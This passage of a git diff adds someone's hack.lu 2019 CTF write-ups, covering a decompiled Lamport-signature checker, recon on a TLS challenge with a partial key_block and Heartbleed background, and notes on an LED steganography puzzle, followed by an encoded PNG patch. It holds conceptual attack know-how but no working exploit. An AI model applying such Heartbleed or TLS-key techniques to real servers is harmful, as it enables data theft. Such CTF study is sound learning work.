(long)(int)(local_1c * 0x40 + + ((int)cVar1 >> (7U - (char)(local_1c % 8) & 0x1f) + & 1U) * 0x20 + local_20))); + local_20 = local_20 + 1; + } + printf("\n"); + local_1c = local_1c + 1; + } + } + return (ulong)((bVar2 != 0 ^ 0xffU) & 1); +} +``` + +Here I reached a roadblock, as I could not disassemble the used data object. I looked up writeups online: + +```c +struct glob +{ + + char key[16384]; + char flag[32]; + char user_input[32]; + unsigned __int64 ptr_flag; + unsigned __int64 ptr_user_input; + unsigned __int64 ptr_key; + unsigned __int64 verbose; +}; +``` + +[https://blog.nsogroup.com/hacklu-2019-ctf-lamport-verify/] + +Apparently it is possible to dissassemble them, but I did not find a solution in ghidra. + +#### Technical background + +> In cryptography, a Lamport signature or Lamport one-time signature scheme is a method for constructing a digital signature. Lamport signatures can be built from any cryptographically secure one-way function; usually a cryptographic hash function is used. + +[https://en.wikipedia.org/wiki/Lamport_signature] + + + +![lamport.png](hack_lu\lamport.png) + +[https://asecuritysite.com/encryption/lamport] + +2 random numbers (A and B, to be used as the private key) of the same bit-length are sampled, and depending on the parity of the hash to be signed either the value of A or B at that particular bit position is used. The public key is constructed similarly, but with the hashes of A and B. + + + +Lamport signatures are also often mentioned among post-quantum crypto solutions, however, in this case their limitation is that they can only be used once. + +#### Lessons (to be) learned + +- Lamport crypto scheme + +- Disassembling complex data objects (C-structs). + + + +## Evil corp + +**type:** crypto + +**description:** + +You were called by the Incident Response Team of Evil Corp, the urgently need your help. Somebody broke into the main server of the company, bricked the device and stole all the files! Nothing is left! This should have been impossible. The Hacker used some secret backdoor to bypass authentication. Without the knowledge of the secret backdoor other servers are at risk as well! The Incident Response Team has a full packet capture of the incident and performed an emergency cold boot attack on the server to retrieve the contents of the memory (its a really important server, Evil Corp is always ready for such kinds of incidents. However they were unable to retrieve much information from the RAM, what's left is only some parts of the "key_block" of the TLS server. Can you help Evil Corp to analyze the exploit the attacker used? + +(Flag is inside of the attackers' secret message). + + +TT = Could not recover + +Keyblock: +6B 4F 93 6A TT TT TT TT TT TT 00 D9 F2 9B 4C B0 +2D 88 36 CF B0 CB F1 A6 7B 53 B2 00 B6 D9 DC EF +66 E6 2C 33 5D 89 6A 92 ED D9 7C 07 49 57 AD E1 +TT TT TT TT TT TT TT TT 56 C6 D8 3A TT TT TT TT +TT TT TT TT TT TT TT TT 94 TT 0C EB 50 8D 81 C4 +E4 40 B6 26 DF E3 40 9A 6C F3 95 84 E6 C5 86 40 +49 FD 4E F2 A0 A3 01 06 + +___ + +#### Recon + +This seemed like a very interesting challenge from the start, but also deeply technical. We are additionally provided with a .pcap packet capture file. + +The first step was to find out what is key_block and how does it relate to TLS. A quick google search returns promising results: + +> To generate the key material, compute +> +> ``` +> key_block = PRF(SecurityParameters.master_secret, +> "key expansion", +> SecurityParameters.server_random + +> SecurityParameters.client_random); +> ``` +> +> until enough output has been generated. Then, the key_block is +> partitioned as follows: +> +> ``` +> client_write_MAC_key[SecurityParameters.mac_key_length] +> server_write_MAC_key[SecurityParameters.mac_key_length] +> client_write_key[SecurityParameters.enc_key_length] +> server_write_key[SecurityParameters.enc_key_length] +> client_write_IV[SecurityParameters.fixed_iv_length] +> server_write_IV[SecurityParameters.fixed_iv_length] +> ``` + +[https://tools.ietf.org/html/rfc5246] + +The TLS 1.2 specification uses this block as a PRNG function to generate random bits, which are then used as MAC keys, encryption keys and IVs. The seed for this PRNG is a parameter "master_secret". + +Let's open the packet capture and see how we can apply this knowledge! + +Looking at he capture we can see a succesfully executed TLS 1.1 handshake between client and server. + +As a side note: I tried to copy a packet as text from Wireshark and noticed this strange hidden message: + +``` +E?2@@ ¨BQh³¼Mÿ3 +%@5V%@4ÇNobodyknowsimacat Stop looking nothing to findhere5S7EvilCorp kills people +,*ííîîïïÿ +``` + +The packet capture is very short, it includes 11 packets. After the initial handshake we have some "heartbeats", after some quick googling I and looking at the RFC once again, I found out what they were: + +> Zero-length fragments of Application data MAY be sent as they are potentially useful as a traffic analysis countermeasure. + +But, what I also found is that they are the responsible entities in TLS for the infamous Heartbleed security bug. + +The alerts do not say anything meaningful, only "Internal Error". + +I tried looking for the expression "key" in the traffic, but did not find anything. + +I looked into the Heartbleed exploit, but for it to work one would need access to the keys, because the heartbeat packets are encrypted. + +#### Technical background + +The Heartbleed bug explained: + +> Here's how it worked: the SSL standard includes a heartbeat option, which allows a computer at one end of an SSL connection to send a short message to verify that the other computer is still online and get a response back. Researchers found that it's possible to send a cleverly formed, malicious heartbeat message that tricks the computer at the other end into divulging secret information. Specifically, a vulnerable computer can be tricked into transmitting the contents of the server's memory, known as RAM. + +[https://www.vox.com/2014/6/19/18076318/heartbleed] + +This could make it possible in this instance to leak the full key_block from the server, the description itself mentions that the incomplete `key_block` fragment is from there. However, one would need network access to the server, what was not given here. + +#### Lessons learned + +- Deeper functioning of TLS +- Heartbleed bug + + + +## Shiny code + +**type:** misc, steg + +**description:** + +We got a video leaked of a new transmission technique working only with lights and colors. The company using it says it is completely secure because of its secret encoding. However, the whistleblower also says that the secret encoding is somehow encoded in the message itself. It uses an old, historical technique based on short and long signals. I have no fucking clue what he is talking about. Perhaps you can help us? + +Download challenge files + +Remark: This challenge has a non-standard flag format: FLAG{.*} + +___ + +#### Recon + +We receive a 10-minute long video of a custom made PCB board with blinking LEDs. The surface of the board is divided up exactly like the FluxFingers logo into 6 areas. Not only the pattern of the areas is changing, but also the color of the LEDs, however they do not mix colors. Each color is changed after 6 seconds, I could not find any pattern regarding the colors. There are "steps" with no LEDs lit and also with all the LEDs lit up, and of course everything in between. Each blink last for 500ms, so one color is present for 3 secs and colors never repeat right after each other. + +My first tries were interpreting the signals as a form of senary encoding, but senary is not really used anywhere apart from certain representations of base36 and base64 encodings. Base36 seemed very promising, we have always 6 frames of consecutive colors, it would have made sense, but as I tried to decode the message only garbage came out. + +Trying to interpret the code as some form of Morse was a sensible next step, as the fixed length pulses provided a reliable way of differentiating between short and long signals used in Morse. However, it was still not clear how to divide up the signals, interpret them grouped by color, side, image region, channel. diff --git a/writeups/ilm0/hack_lu/lamport.png b/writeups/ilm0/hack_lu/lamport.png new file mode 100644 index 0000000000000000000000000000000000000000..cf67ca99ce1bf4e573d1359404e73b0f976efc18 GIT binary patch literal 47676 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 